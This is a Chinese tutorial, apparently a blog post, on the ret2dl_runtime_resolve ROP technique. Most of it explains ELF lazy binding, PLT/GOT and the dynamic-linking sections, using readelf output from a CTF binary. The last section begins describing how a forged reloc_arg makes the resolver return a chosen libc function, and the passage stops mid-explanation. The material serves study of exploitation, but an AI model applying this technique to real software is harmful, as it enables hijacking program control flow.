一种高级的ROP漏洞利用技术。 要想弄懂这个ROP利用技巧,需要首先理解ELF文件的基本结构,以及动态链接的基本过程。 glibc源码看的想吐。 ——当你的才华还配不上你的野心时,请静下来好好努力!
1、延迟绑定 动态链接
的确有很多优势,比静态链接
要灵活得多,但它是以牺牲一部分性能
为代价的。据统计,ELF程序在静态链接
下要比动态库
稍微快点,大约为1%~5%,当然这取决于程序本身的特性
及运行环境
等。我们知道动态链接比静态链接慢的主要原因
是动态链接下对于全局和静态的数据
访问都要进行复杂的GOT定位
,然后间接寻址
;对于模块间的调用
也要先定位GOT
,然后再进行间接跳转
,如此一来,程序的运行速度必定会减慢。另外一个减慢运行速度的原因
是动态链接的链接工作
在运行时
完成,即程序开始执行时,动态链接器都要进行一次链接工作,正如我们上面提到的,动态链接器
会寻找并装载所需要的共享对象
,然后进行符号查找、地址重定位
等工作,这些工作势必减慢程序的启动速度
。这是影响动态链接性能的两个主要问题
,我们将在这一节介绍优化动态链接性能的一些方法。[1 ]
1.1、延迟绑定的实现 1.1.1、PLT的基本原理 在动态链接
下,程序模块之间包含了大量的函数引用
(全局变量
往往比较少,因为大量的全局变量会导致模块之间耦合度
变大),所以在程序开始执行前
,动态链接会耗费不少时间用于解决模块之间的函数引用
的符号查找
以及重定位
,这也是我们上面提到的减慢动态链接性能的第二个原因
。不过可以想象,在一个程序运行过程中,可能很多函数在程序执行完时都不会被用到
,比如一些错误处理函数或者是一些用户很少用到的功能模块等,如果一开始就把所有函数都链接好实际上是一种浪费。所以ELF采用了一种叫做延迟绑定(Lazy Binding)
的做法,基本的思想
就是当函数第一次被用到时
才进行绑定(符号查找、重定位等),如果没有用到
则不进行绑定。所以程序开始执行时,模块间的函数调用都没有进行绑定,而是需要用到时才由动态链接器
来负责绑定。这样的做法可以大大加快
程序的启动速度
,特别有利于一些有大量函数引用
和大量模块
的程序。[1 ]
ELF使用PLT(Procedure Linkage Table)
的方法来实现,这种方法使用了一些很精巧的指令序列来完成。在开始详细介绍PLT之前,我们先从动态链接器的角度
设想一下:假设liba.so
需要调用libc.so
中的bar()
函数,那么当liba.so
中第一次
调用bar()
时,这时候就需要调用动态链接器
中的某个函数
来完成地址绑定
工作,我们假设这个函数叫做lookup()
,那么lookup()需要知道哪些必要的信息
才能完成这个函数地址绑定工作呢?我想答案很明显,lookup()至少需要知道这个地址绑定发生在哪个模块
,哪个函数
?那么我们可以假设lookup的原型为lookup(module, function)
,这两个参数的值在我们这个例子中分别为liba.so
和bar()
。在Glibc
中,我们这里的lookup()
函数真正的名字叫_dl_runtime_resolve()
。[1 ]
当我们调用某个外部模块
的函数时,如果按照通常的做法应该是通过GOT中相应的项
进行间接跳转
。PLT
为了实现延迟绑定
,在这个过程中间又增加了一层间接跳转
。调用函数
并不直接通过GOT
跳转,而是通过一个叫作PLT项
的结构来进行跳转。每个外部函数
在PLT
中都有一个相应的项
,比如bar()
函数在PLT
中的项的地址我们称之为bar@plt
。让我们来看看bar@plt的实现:[1 ]
1 2 3 4 5 bar@plt: jmp *(bar@GOT) push n push moduleID jump _dl_runtime_resolve
bar@plt
的第一条指令
是一条通过GOT间接跳转的指令。bar@GOT
表示GOT中保存bar()这个函数相应的项。如果链接器在初始化阶段
已经初始化该项
,并且将bar()的地址
填入该项,那么这个跳转指令的结果就是我们所期望的,跳转到bar(),实现函数正确调用。但是为了实现延迟绑定
,链接器在初始化阶段
并没有将bar()的地址
填入到该项,而是将上面代码中第二条指令“push n”的地址
填入到bar@GOT
中,这个步骤不需要
查找任何符号,所以代价很低
。很明显,第一条指令的效果是跳转到第二条指令,相当于没有进行任何操作。第二条指令
将一个数字n
压入堆栈中,这个数字是bar
这个符号引用在重定位表“.rel.plt”
中的相应项的字节偏移
。接着又是一条push指令
将模块的ID
压入到堆栈,然后跳转到_dl_runtime_resolve
。这实际上就是在实现我们前面提到的lookup(module, function)
这个函数的调用
:先将所需要重定位的符号
在重定位表“.rel.plt”
中的相应项的字节偏移
压入堆栈,再将模块ID压入堆栈,然后调用动态链接器的_dl_runtime_resolve()
函数来完成符号解析
和重定位
工作。_dl_runtime_resolve()
在进行一系列工作以后将bar()的真正地址
填入到bar@GOT
中。[1 ]
一旦bar()
这个函数被解析完毕
,当我们再次调用
bar@plt时,第一条jmp指令
就能够跳转到真正的bar()函数
中,bar()函数返回
的时候会根据堆栈里面保存的返回地址
直接返回到调用者
,而不会再继续执行bar@plt中第二条指令开始的那段代码
,那段代码只会在符号未被解析时
执行一次。[1 ]
1.1.2、PLT的真正实现 上面我们描述的是PLT的基本原理
,PLT真正的实现
要比它的结构稍微复杂一些。ELF将GOT
拆分成了两个表叫做“.got”
和“.got.plt”
。其中“.got”
用来保存全局变量引用
的地址,“.got.plt”
用来保存函数引用
的地址,也就是说,所有对于外部函数的引用
全部被分离出来放到了“.got.plt”
中。另外“.got.plt”
还有一个特殊的地方是它的前三项
是有特殊意义
的,分别含义如下:[1 ]
1 2 3 GOT[0]:保存的是“.dynamic”节的地址,这个节描述了本模块动态链接相关的信息,我们在后面还会介绍“.dynamic”节。 GOT[1]:保存的是本模块的ID。link_map结构的地址,动态链接器利用该地址来对符号进行解析。 GOT[2]:保存的是_dl_runtime_resolve()的地址。
其中第二项
和第三项
由动态链接器
在装载共享模块
的时候负责将它们初始化
。“.got.plt”
的其余项
分别对应每个外部函数的引用
。PLT的结构也与我们示例中的PLT稍有不同,为了减少代码的重复,ELF把上面例子中的最后两条指令
放到PLT
中的第一项
。并且规定每一项的长度是16个字节
,刚好用来存放3条指令
,实际的PLT基本结构
如图所示:[1 ]
实际的PLT基本结构代码
如下:
1 2 3 4 5 6 7 8 PLT0: push *(GOT + 4 ) jump *(GOT + 8 ) ...... bar@plt: jmp *(bar@GOT) push n jump PLT0
PLT
在ELF文件中以独立的节
存放,节名通常叫做“.plt”
,因为它本身是一些地址无关的代码
,所以可以跟代码节
等一起合并成同一个可读可执行
的“Segment”
被装载入内存。[1 ]
2、动态链接相关结构 动态链接
在不同的系统
上有不同的实现方式,ELF
的动态链接实现方式比PE
稍微简单一点。动态链接
的可执行文件的装载
与静态链接
情况基本一样。首先操作系统
会读取可执行文件的头部
,检查文件的合法性
,然后从头部中的“Program Header Table”
中读取每个“Segment”
的虚拟地址
、文件地址
和属性
,并将它们映射到进程虚拟空间
的相应位置,这些步骤跟前面的静态链接情况下的装载基本无异。
在静态链接
情况下,操作系统
接着就可以
把控制权
转交给可执行文件的入口地址
,然后程序开始执行,一切看起来非常直观。
在动态链接
情况下,操作系统
还不能
在装载完可执行文件
之后就把控制权
交给可执行文件
,因为我们知道可执行文件
依赖于很多共享对象
。这时候,可执行文件里对于很多外部符号的引用
还处于无效地址
的状态,即还没有跟相应的共享对象
中的实际位置
链接起来。所以在映射完可执行文件之后,操作系统会先启动一个动态链接器(Dynamic Linker)
。
在Linux
下,动态链接器ld.so
实际上是一个共享对象
,操作系统同样通过映射的方式
将它加载到进程的地址空间
中。操作系统在加载完动态链接器
之后,就将控制权交给动态链接器的入口地址
(与可执行文件一样,共享对象也有入口地址)。当动态链接器
得到控制权
之后,它开始执行一系列自身的初始化
操作,然后根据当前的环境参数
,开始对可执行文件
进行动态链接工作
。当所有动态链接工作
完成以后,动态链接器
会将控制权
转交到可执行文件的入口地址
,程序开始正式执行。[1 ]
2.0、标准ELF变量类型 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 typedef uint16_t Elf32_Half;typedef uint16_t Elf64_Half;typedef uint32_t Elf32_Word;typedef int32_t Elf32_Sword;typedef uint32_t Elf64_Word;typedef int32_t Elf64_Sword;typedef uint64_t Elf32_Xword;typedef int64_t Elf32_Sxword;typedef uint64_t Elf64_Xword;typedef int64_t Elf64_Sxword;typedef uint32_t Elf32_Addr;typedef uint64_t Elf64_Addr;typedef uint32_t Elf32_Off;typedef uint64_t Elf64_Off;typedef uint16_t Elf32_Section;typedef uint16_t Elf64_Section;typedef Elf32_Half Elf32_Versym;typedef Elf64_Half Elf64_Versym;
2.1、“.interp”节 动态链接器的位置
既不是由系统配置
指定,也不是由环境参数
决定,而是由ELF可执行文件
决定。在动态链接
的ELF可执行文件
中,有一个专门的节叫做“.interp”
节(“interp”是“interpreter”(解释器)
的缩写)。如果我们使用objdump
工具来查看,可以看到“.interp”
内容:[1 ]
1 2 3 4 5 6 7 $ objdump -s pwn200 pwn200: file format elf32-i386 Contents of section .interp: 8048134 2f6c6962 2f6c642d 6c696e75 782e736f /lib/ld-linux.so 8048144 2e3200 .2.
“.interp”
的内容很简单,里面保存的就是一个字符串
,这个字符串就是可执行文件
所需要的动态链接器的路径
,在Linux
下,可执行文件所需要的动态链接器的路径几乎都是“/lib/ld-linux.so.2”
,其他的*nix操作系统
可能会有不同的路径。在Linux
的系统中,/lib/ld-linux.so.2
通常是一个软链接
,比如在我的机器上,它指向/lib/ld-2.6.1.so
,这个才是真正的动态链接器
。在Linux中,操作系统在对可执行文件
的进行加载
的时候,它会去寻找装载
该可执行文件所需要相应的动态链接器
,即“.interp”
节指定的路径的共享对象
。
动态链接器
在Linux下是Glibc的一部分
,也就是属于系统库级别
的,它的版本号
往往跟系统中的Glibc库版本号
是一样的,比如我的系统中安装的是Glibc 2.6.1
,那么相应的动态链接器
也就是/lib/ld-2.6.1.so
。当系统中的Glibc库更新
或者安装其他版本
的时候,/lib/ld-linux.so.2
这个软链接
就会指向到新的动态链接器
,而可执行文件
本身不需要修改“.interp”
中的动态链接器路径
来适应系统的升级。
我们也可以用这个命令来查看一个可执行文件
所需要的动态链接器的路径
,在Linux下,往往是如下结果:
1 2 $ readelf -l a.out | grep interpreter [Requesting program interpreter: /lib/ld-linux.so.2]
而当我们在FreeBSD 4.6.2
下执行这个命令时,结果是:
1 2 $ readelf -l a.out | grep interpreter [Requesting program interpreter: /usr/libexec/ld-elf.so.1]
64位的Linux
下的可执行文件是:
1 2 $ readelf -l a.out | grep interpreter [Requesting program interpreter: /lib64/ld-linux-x86-64.so.2]
2.2、“.dynamic”节 类似于“.interp”
这样的节,ELF中还有几个节也是专门用于动态链接
的,比如“.dynamic”节
和“.dynsym”节
等。要了解动态链接器
如何完成链接过程
,跟前面一样,从了解ELF文件
中跟动态链接相关的结构
入手将会是一个很好的途径。ELF文件中跟动态链接相关的节有好几个,相互之间的关系也比较复杂,我们先从“.dynamic”节
入手。
动态链接ELF中最重要的结构
应该是“.dynamic”节
,这个节里面保存了动态链接器
所需要的基本信息
,比如依赖于哪些共享对象
、动态链接符号表
的位置、动态链接重定位表
的位置、共享对象初始化代码
的地址等。“.dynamic”节的结构
很经典,就是我们已经碰到过的ELF中眼熟的结构数组
,结构定义在“elf.h”
中:[3 ]
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 typedef struct { Elf32_Sword d_tag; union { Elf32_Word d_val; Elf32_Addr d_ptr; } d_un; } Elf32_Dyn; typedef struct { Elf64_Sxword d_tag; union { Elf64_Xword d_val; Elf64_Addr d_ptr; } d_un; } Elf64_Dyn;
Elf32_Dyn
结构由一个类型值
加上一个附加的数值
或指针
,对于不同的类型
,后面附加的数值
或者指针
有着不同的含义
。我们这里列举几个比较常见的类型值
(这些值都是定义在“elf.h”里面的宏
),如下表所示:[3 ]
d_tag类型
d_un的含义
DT_NEEDED
ELF所依赖的共享库文件名,d_val表示共享库文件名在“.dynstr”表中的偏移
DT_INIT
d_ptr表示init函数地址
DT_INIT_ARRAY
d_ptr表示有关初始化的函数的地址数组的地址
DT_INIT_ARRAYSZ
d_val表示DT_INIT_ARRAY数组的大小
DT_FINI
d_ptr表示fini函数地址
DT_FINI_ARRAY
d_ptr表示有关结束清理的函数的地址数组的地址
DT_FINI_ARRAYSZ
d_val表示DT_FINI_ARRAY数组的大小
DT_HASH
动态链接符号Hash表地址,d_ptr表示“.hash”的地址
DT_GNU_HASH
动态链接GNU风格的Hash表的地址,d_ptr表示“.gnu.hash”的地址
DT_STRTAB
动态链接字符串表的地址,d_ptr表示“.dynstr”的地址
DT_STRSZ
d_val表示动态链接字符串表“.dynstr”的大小
DT_SYMTAB
动态链接符号表的地址,d_ptr表示“.dynsym”的地址
DT_SYMENT
d_val表示动态链接符号表“.dynsym”中每一项的大小
DT_PLTGOT
d_ptr表示全局偏移表“.got.plt”地址。
DT_PLTREL
d_val表示动态链接重定位表的类型值“d_tag”,也就是DT_REL对应的值
DT_PLTRELSZ
d_val表示动态链接重定位表中函数重定位表“.rel.plt”的大小
DT_JMPREL
d_ptr表示动态链接重定位表中函数重定位表“.rel.plt”的地址
DT_REL
d_ptr表示动态链接重定位表的地址(ELF32)
DT_RELSZ
d_val表示动态链接重定位表中变量重定位表“.rel.dyn”的大小(ELF32)
DT_RELENT
d_val表示动态链接重定位表中每一项的大小(ELF32)
DT_RELA
d_ptr表示动态链接重定位表的地址(ELF64)
DT_RELASZ
d_val表示动态链接重定位表中变量重定位表“.rel.dyn”的大小(ELF64)
DT_RELAENT
d_val表示动态链接重定位表中每一项的大小(ELF64)
DT_VERNEED
d_ptr表示ELF文件所需要的库文件版本表的地址
DT_VERNEEDNUM
d_val表示ELF文件所需要的库文件版本表条目的数量
DT_VERSYM
d_ptr表示动态符号版本表“.gnu.version”的地址
DT_SONAME
d_val表示共享库名称
DT_RPATH
d_val表示库搜索路径(不建议使用)
DT_NULL
标记“.dynamic”节的结束
定义代码:
[3 ]
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 #define DT_NULL 0 #define DT_NEEDED 1 #define DT_PLTRELSZ 2 #define DT_PLTGOT 3 #define DT_HASH 4 #define DT_STRTAB 5 #define DT_SYMTAB 6 #define DT_RELA 7 #define DT_RELASZ 8 #define DT_RELAENT 9 #define DT_STRSZ 10 #define DT_SYMENT 11 #define DT_INIT 12 #define DT_FINI 13 #define DT_SONAME 14 #define DT_RPATH 15 #define DT_SYMBOLIC 16 #define DT_REL 17 #define DT_RELSZ 18 #define DT_RELENT 19 #define DT_PLTREL 20 #define DT_DEBUG 21 #define DT_TEXTREL 22 #define DT_JMPREL 23 #define DT_BIND_NOW 24 #define DT_INIT_ARRAY 25 #define DT_FINI_ARRAY 26 #define DT_INIT_ARRAYSZ 27 #define DT_FINI_ARRAYSZ 28 #define DT_RUNPATH 29 #define DT_FLAGS 30 #define DT_ENCODING 31 #define DT_PREINIT_ARRAY 32 #define DT_PREINIT_ARRAYSZ 33 #define DT_SYMTAB_SHNDX 34 #define DT_NUM 35 #define DT_LOOS 0x6000000d #define DT_HIOS 0x6ffff000 #define DT_LOPROC 0x70000000 #define DT_HIPROC 0x7fffffff #define DT_PROCNUM DT_MIPS_NUM ......
上表中只列出了一部分定义
,还有一些不太常用的定义我们就暂且忽略,具体可以参考LSB手册
和elf.h的定义
。从上面给出的这些定义来看,“.dynamic”
节里面保存的信息有点像ELF文件头
,只是我们前面看到的ELF文件头
中保存的是静态链接
时相关的内容,比如静态链接
时用到的符号表
、重定位表
等,这里换成了动态链接
下所使用的相应信息了。所以,“.dynamic”
节可以看成是动态链接
下ELF文件的“文件头”
。使用readelf
工具可以查看“.dynamic”节
的内容:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 $ readelf -d pwn200 Dynamic section at offset 0x750 contains 25 entries: Tag Type Name/Value 0x00000001 (NEEDED) Shared library: [libc.so.6] 0x0000000c (INIT) 0x8048328 0x0000000d (FINI) 0x8048650 0x00000019 (INIT_ARRAY) 0x8049744 0x0000001b (INIT_ARRAYSZ) 4 (bytes) 0x0000001a (FINI_ARRAY) 0x8049748 0x0000001c (FINI_ARRAYSZ) 4 (bytes) 0x00000004 (HASH) 0x804818c 0x6ffffef5 (GNU_HASH) 0x80481c0 0x00000005 (STRTAB) 0x8048260 0x00000006 (SYMTAB) 0x80481e0 0x0000000a (STRSZ) 95 (bytes) 0x0000000b (SYMENT) 16 (bytes) 0x00000015 (DEBUG) 0x0 0x00000003 (PLTGOT) 0x8049844 0x00000002 (PLTRELSZ) 48 (bytes) 0x00000014 (PLTREL) REL 0x00000017 (JMPREL) 0x80482f8 0x00000011 (REL) 0x80482f0 0x00000012 (RELSZ) 8 (bytes) 0x00000013 (RELENT) 8 (bytes) 0x6ffffffe (VERNEED) 0x80482d0 0x6fffffff (VERNEEDNUM) 1 0x6ffffff0 (VERSYM) 0x80482c0 0x00000000 (NULL) 0x0
2.3、“.rel.dyn”节和“.rel.plt”节 我们可以使用readelf
查看重定位表节:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 $ readelf -r pwn200 Relocation section '.rel.dyn' at offset 0x2f0 contains 1 entries: Offset Info Type Sym.Value Sym. Name 08049840 00000206 R_386_GLOB_DAT 00000000 __gmon_start__ Relocation section '.rel.plt' at offset 0x2f8 contains 6 entries: Offset Info Type Sym.Value Sym. Name 08049850 00000107 R_386_JUMP_SLOT 00000000 read @GLIBC_2.0 08049854 00000207 R_386_JUMP_SLOT 00000000 __gmon_start__ 08049858 00000307 R_386_JUMP_SLOT 00000000 strlen@GLIBC_2.0 0804985c 00000407 R_386_JUMP_SLOT 00000000 __libc_start_main@GLIBC_2.0 08049860 00000507 R_386_JUMP_SLOT 00000000 write@GLIBC_2.0 08049864 00000607 R_386_JUMP_SLOT 00000000 strncmp@GLIBC_2.0
“.rel.dyn”
实际上是对数据引用
的修正,它所修正的位置位于“.got”
以及数据节
;而“.rel.plt”
是对函数引用
的修正,它所修正的位置位于“.got.plt”
。 32位
和64位
ELF使用的重定位表
有一点区别,但都是结构体数组
。一般32位
使用Elf32_Rel
,64位
使用Elf32_Rela
。结构体定义如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 typedef struct { Elf32_Addr r_offset; Elf32_Word r_info; } Elf32_Rel; typedef struct { Elf64_Addr r_offset; Elf64_Xword r_info; } Elf64_Rel; typedef struct { Elf32_Addr r_offset; Elf32_Word r_info; Elf32_Sword r_addend; } Elf32_Rela; typedef struct { Elf64_Addr r_offset; Elf64_Xword r_info; Elf64_Sxword r_addend; } Elf64_Rela; #define ELF32_R_SYM(val) ((val) >> 8) #define ELF32_R_TYPE(val) ((val) & 0xff) #define ELF32_R_INFO(sym, type) (((sym) << 8) + ((type) & 0xff)) #define ELF64_R_SYM(i) ((i) >> 32) #define ELF64_R_TYPE(i) ((i) & 0xffffffff) #define ELF64_R_INFO(sym,type) ((((Elf64_Xword) (sym)) << 32) + (type))
32位ELF
一般使用的重定位表项
的结构体是Elf32_Rel
,其中包含r_offset
和r_info
两个成员,都是4byte
类型的变量。r_offset:
表示重定位所作用的位置
。对于重定位文件(.o)
来说,此值是受重定位作用
的存储单元
在其所在节
中的字节偏移量
;对于可执行文件
或共享目标文件(.so)
来说,此值是受重定位作用
的存储单元
的虚拟地址
。r_info:
其高24位
表示该重定位项在动态链接符号表.dynsym
中对应项的下标
,低8位
表示该重定位项的重定向类型
。 64位ELF
一般使用的重定位表项
的结构体是Elf64_Rela
,其中包含r_offset
、r_info
和r_addend
三个成员,都是8byte
类型的变量。r_offset:
表示重定位所作用的位置
。对于重定位文件(.o)
来说,此值是受重定位作用
的存储单元
在其所在节
中的字节偏移量
;对于可执行文件
或共享目标文件(.so)
来说,此值是受重定位作用
的存储单元
的虚拟地址
。r_info:
其高32位
表示该重定位项在动态链接符号表.dynsym
中对应项的下标
,低32位
表示该重定位项的重定向类型
。r_addend:
此成员指定常量加数
,用于计算将存储在可重定位字段中的值
。Elf32_Rela
中是用r_addend显式
地指出加数;而对 Elf32_Rel
来说,加数是隐含
在被修改的位置里的。在所有情况
下,加数
和计算所得的结果
使用相同的字节顺序
。加数值
的重定位项类型
和解释
由特定于平台的 ABI 定义。 重定位节
可以引用其他两个节:符号表
(由 sh_link
节头项标识)和要修改的节
(由 sh_info
节头项标识)。节中指定了这些关系。如果可重定位目标文件
中存在重定位节
,则需要 sh_info
项,但对于可执行文件
和共享目标文件
,该项是可选的
。重定位偏移(r_offset)
满足执行重定位的要求。不同的ELF文件
中,重定位项的 r_offset
成员的含义
略有不同,但其重定位的作用
是不变的。 在所有情况下,r_offset
值都会指定受影响存储单元
的第一个字节
的偏移
或虚拟地址
。重定位类型
可指定要更改的位
以及计算这些位的值
的方法。
1、重定位文件(.o)
中,r_offset
成员含有一个节偏移量
。也就是说,重定位节本身描述的是如何修改文件中的另一个节的内容,重定位偏移量(r_offset)指向了另一个节中的一个存储单元地址。 [2 ]
2、在可执行文件
或共享目标文件(.so)
中,r_offset
含有的是符号定义
在进程空间中的虚拟地址
。可执行文件
和共享目标文件
是用于运行程序
而不是构建程序
的,所以对它们来说更有用的信息是运行期的内存虚拟地址,而不是某个符号定义在文件中的位置。[2 ]
重定位类型(Relocation Types)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 #define R_386_NONE 0 #define R_386_32 1 #define R_386_PC32 2 #define R_386_GOT32 3 #define R_386_PLT32 4 #define R_386_COPY 5 #define R_386_GLOB_DAT 6 #define R_386_JMP_SLOT 7 #define R_386_RELATIVE 8 ...... #define R_X86_64_NONE 0 #define R_X86_64_64 1 #define R_X86_64_PC32 2 #define R_X86_64_GOT32 3 #define R_X86_64_PLT32 4 #define R_X86_64_COPY 5 #define R_X86_64_GLOB_DAT 6 #define R_X86_64_JUMP_SLOT 7 #define R_X86_64_RELATIVE 8 #define R_X86_64_GOTPCREL 9 ......
32位ELF
一般用来函数重定位的重定位类型就是R_386_JMP_SLOT
类型,64位ELF
函数重定位的重定位类型就是R_X86_64_JUMP_SLOT
类型,源码对其的注释是Create PLT entry
。这种类型的函数重定位
都会在ELF中创建一个PLT入口
。
2.4、“.got”节和“.got.plt”节 GOT表
在ELF文件中分为两个部分
:
.got
:存储对全局变量
的引用。
.got.plt
:存储对函数
的引用。
前面讲延迟绑定
的时候讲过,.got.plt
的前三项
具有特殊的含义:
GOT[0]
:保存的是“.dynamic”节
的地址。
GOT[1]
:保存的是本模块的ID
。指向内部类型为link_map的指针
,只会在动态链接器
中使用,包含了进行符号解析
需要的当前ELF共享目标文件
的信息。每个 link_map
都是一条双向链表
的一个节点,而这个链表保存了所有加载的ELF共享目标文件
的信息。动态链接器
利用该地址
来对符号
进行解析。
GOT[2]
:保存的是_dl_runtime_resolve()
的地址。
解析之前
,GOT表的其他表项
存储的是所解析函数对应的PLT表项第二条指令的地址
。解析之后
,存储的是函数的真实地址
。
2.5、“.dynsym”节 “.dynsym”节
是动态链接符号表
。这里保存的是一个结构体数组
,结构体的定义
如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 typedef struct { Elf32_Word st_name; Elf32_Addr st_value; Elf32_Word st_size; unsigned char st_info; unsigned char st_other; Elf32_Section st_shndx; } Elf32_Sym; typedef struct { Elf64_Word st_name; unsigned char st_info; unsigned char st_other; Elf64_Section st_shndx; Elf64_Addr st_value; Elf64_Xword st_size; } Elf64_Sym; #define ELF32_ST_BIND(val) (((unsigned char) (val)) >> 4) #define ELF32_ST_TYPE(val) ((val) & 0xf) #define ELF32_ST_INFO(bind, type) (((bind) << 4) + ((type) & 0xf)) #define ELF64_ST_BIND(val) ELF32_ST_BIND (val) #define ELF64_ST_TYPE(val) ELF32_ST_TYPE (val) #define ELF64_ST_INFO(bind, type) ELF32_ST_INFO ((bind), (type))
我们主要关注此结构体中的两个成员
(注意32位
和64位
中这两个值在结构体里的位置
不一样!)
st_name
:该成员保存着符号在.dynstr表
(动态链接字符串表)中的偏移
。
st_value
:如果这个符号被导出
,这个符号保存着对应的虚拟地址
。
st_other
:st_other 变量定义了符号的可见性
。
符号可见性规范
:第 1 部分 - 符号可见性简介
STV_DEFAULT(0)
:默认符号可见性规则。用它定义的符号将被导出。换句话说,它声明符号是到处可见的。
STV_INTERNAL(1)
:特定于处理器的隐藏类。符号在当前可执行文件或共享库之外不可访问。
STV_HIDDEN(2)
:Sym在其他模块中不可用。用它定义的符号将不被导出,并且不能从其他对象进行使用。
STV_PROTECTED(3)
:不可抢占,不可导出。符号在当前可执行文件或共享对象之外可见,但是不会被覆盖。换句话说,如果共享库中的一个受保护符号被该共享库中的另一个代码引用,那么此代码将总是引用共享库中的此符号,即便可执行文件定义了相同名称的符号。
st_shndx
:每个符号表条目的定义
都与某些节
对应。st_shndx
变量保存了相关节头表的索引
。
特殊节索引
:Linker and Libraries Guide
宏定义
值
说明
SHN_UNDEF
0x0000
未定义的、丢失的、不相关的或其他没有意义的节引用。例如,相对于节号SHN_UNDEF定义的符号是未定义的符号。该符号在本目标文件中被引用到,但是定义在其他目标文件中。
SHN_LORESERVE
0xFF00
被保留索引号区间的下限。
SHN_LOPROC
0xFF00
为特定处理器定制节所保留的索引号区间的下限。
SHN_BEFORE
0xFF00
优先于其他节的排序节(Solaris)。与SHF_LINK_ORDER和SHF_ORDERED节标志一起规定初始和最终节顺序。
SHN_AFTER
0xFF01
在其他节之后的排序节(Solaris)。与SHF_LINK_ORDER和SHF_ORDERED节标志一起规定初始和最终节顺序。
SHN_HIPROC
0xFF1F
为特定处理器定制节所保留的索引号区间的上限。
SHN_LOOS
0xFF20
为特定操作系统定制节所保留的索引号区间的下限。
SHN_HIOS
0xFF3F
为特定操作系统定制节所保留的索引号区间的上限。
SHN_ABS
0xFFF1
此节中所定义的符号有绝对的值,这个值不会因重定位而改变。
SHN_COMMON
0xFFF2
相对于这个节定义的符号是公共符号,例如FORTRAN的COMMON块或未分配的C外部变量。这些符号有时被称为暂定符号。表示该符号是一个”COMMON块”的符号,一般来说,未初始化的全局符号定义就是这种类型的。
SHN_XINDEX
0xFFFF
溢出值,指示实际的节头索引太大,所以存储在别处。当节头项中e_shstrndx的值是SHN_XINDEX时,表明真实的节头表索引值存储在第一个节头表表项(即节头表索引值为0)的成员sh_link中。
SHN_HIRESERVE
0xFFFF
被保留索引号区间的上限。
st_info
指定符号类型
及绑定属性
。st_info的低四位
表示符号类型
,高四位
表示绑定属性
。符号类型以STT
开头,符号绑定以STB
开头,下面对几种常见的符号类型和符号绑定进行介绍。
1、符号类型
STT_NOTYPE(0)
:符号类型未定义
。
STT_OBJECT(1)
:表示该符号与数据目标文件
关联。
STT_FUNC(2)
:表示该符号与函数
或者其他可执行代码
关联。
2、绑定属性
STB_LOCAL(0)
:本地符号
在目标文件
之外是不可见的,目标文件
包含了符号的定义
,如一个声明为static的函数。
STB_GLOBAL(1)
:全局符号
对于所有要合并的目标文件
来说都是可见的。一个全局符号在一个文件
中进行定义后,另外一个文件
可以对这个符号进行引用。
STB_WEAK(2)
:与全局绑定
类似,不过比STB_GLOBAL
的优先级低
。被标记
为STB_WEAK
的符号有可能会被同名
的未被标记
为STB_WEAK
的符号覆盖
。
2.6、“.dynstr”节 “.dynstr”
是动态链接字符串表
。其第一个字节
为0,然后包含动态链接
所需的字符串(导入函数名等)(以\x00结尾
)。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 .dynstr:08048260 _dynstr segment byte public '' use32 .dynstr:08048260 assume cs:_dynstr .dynstr:08048260 ;org 8048260h .dynstr:08048260 assume es:nothing, ss:nothing, ds:nothing, fs:nothing, gs:nothing .dynstr:08048260 byte_8048260 db 0 .dynstr:08048261 aGmonStart db '__gmon_start__',0 .dynstr:08048270 aLibcSo6 db 'libc.so.6',0 .dynstr:0804827A aIoStdinUsed db '_IO_stdin_used',0 .dynstr:08048289 aStrncmp db 'strncmp',0 .dynstr:08048291 aStrlen db 'strlen',0 .dynstr:08048298 aRead db 'read',0 .dynstr:0804829D aLibcStartMain db '__libc_start_main',0 .dynstr:080482AF aWrite db 'write',0 .dynstr:080482B5 aGlibc20 db 'GLIBC_2.0',0 .dynstr:080482BF align 10h .dynstr:080482BF _dynstr ends
3、ret2_dl_runtime_resolve利用原理 3.1、函数调用流程 动态链接下第一次调用
glibc的函数需要通过PLT表
中的一段代码解析函数的真实地址
,这也是ELF的延迟绑定
的特点。具体的解析方式就是通过调用_dl_runtime_resolve(link_map_obj, reloc_arg)
,如果我们可以控制
整个解析过程中的参数
,那么就能解析我们想要的函数地址
。以调用printf函数
为例,回顾一下整个流程:
1、call printf@PLT
2、jmp *(printf@GOT)
-> (第一次会jmp回来,解析之后就直接jmp到解析出来的地址了) -> push n
-> jmp &PLT[0]
(跳到公共表项)
3、push GOT[1]
(link_map可以理解为模块ID) -> jmp *GOT[2]
(跳转到_dl_runtime_resolve函数) 以上步骤相当于调用了_dl_runtime_resolve(link_map_obj, reloc_arg)
4、解析完毕
后会把解析出来的地址写回
通过reloc_arg定位到的.rel.plt表项的r_offset指向的位置
(其实就是.got.plt
表中的对应项)
弄懂_dl_runtime_resolve()
的解析过程后,就可以通过伪造reloc_arg
来解析出我们想要的libc函数地址
并且写回可控区域
了。
3.2、_dl_runtime_resolve(link_map_obj, reloc_arg)解析流程
1、通过link_map_obj
访问“.dynamic”节
,分别取出动态链接字符串表“.dynstr”
、动态链接符号表“.dynsym”
、重定位表“.rel.plt”的地址
。记为dynstr_addr
、dynsym_addr
、rel_plt_addr
。
2、利用rel_plt_addr + reloc_index
,求出当前函数
重定位表项Elf32_Rel的指针,记为rel
。
3、rel->r_info
的高24位
作为动态链接符号表“.dynsym”
的下标,即利用dynsym_addr + ((rel->r_info)>>8)
,求出当前函数
动态链接符号表项Elf32_Sym的指针,记作sym
。
4、sym -> st_name
作为动态链接字符串表“.dynstr”
的下标,即利用dynstr_addr + (sym -> st_name)
,求出当前函数
动态链接字符串表项在的指针,记作str
。
5、在动态链接库
